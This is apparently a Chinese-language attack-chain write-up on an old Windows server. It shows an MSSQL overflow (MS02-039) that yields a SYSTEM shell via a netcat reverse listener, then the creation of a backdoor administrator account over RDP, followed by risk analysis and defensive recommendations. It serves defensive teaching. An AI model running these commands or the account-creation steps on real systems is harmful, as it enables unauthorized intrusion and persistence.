目標偵察
目標開放埠:53 (DNS)、80 (Web)、1433 (MSSQL)、3389 (RDP)。X-Scan 未發現弱口令。
攻擊鏈條
1. MSSQL 溢出獲取 SYSTEM Shell
- 工具:
nc -l -p 99 (本地監聽)、sql2 0 (SQL2 溢出工具,利用 CVE-2002-XXXX / MS02-039 等)。
- 成功回連
C:\WinNT\System32\ 目錄,獲得 Administrator 權限 Shell。
2. 提權與橫向移動
net user hacker 12345 /add 建立帳號。
net localgroup administrators hacker /add 加入管理員組。
- 3389 遠端桌面登入完全控制伺服器。
關鍵風險點
- 資料庫服務直接暴露公網:1433 埠應僅允許應用伺服器存取。
- 資料庫運行高權限:MSSQL 服務帳號為 Local System/Administrator,溢出即獲最高權限。
- 未修補已知溢出漏洞:SQL2 工具針對 2002-2003 年漏洞,修補窗口極長仍未修補。
- 3389 直接對外開放:無堡壘機、無 MFA、無 IP 白名單。
防禦建議
- 資料庫不對公網:僅允許應用層伺服器 (私有網段) 存取 1433;雲端環境用 Security Group/NSG 限制。
- 服務帳號最小權限:MSSQL 使用專用網域服務帳號 (非 Administrator),僅具資料庫目錄讀寫權限。
- 嚴格修補管理:建立資產台帳、訂閱 CVE/安全公告、月度修補窗口、緊急漏洞 48 小時內修補。
- 管理埠零信任:3389/22/5900 等全部接入堡壘機,強制 MFA、錄影、即時告警。
- 部署 EDR/主機防火牆:攔截
nc 反向連線、異常進程建立 (cmd.exe 由 sqlservr.exe 啟動)、帳號新增事件。
- 網路流量基線:異常外連、大量 ICMP、掃描行為自動阻斷。
總結
單一未修補的資料庫溢出漏洞,配合高權限服務帳號與開放管理埠,導致整台伺服器在分鐘級淪陷。纖深防禦必須同時涵蓋網路、主機、應用、帳號、審計五個維度。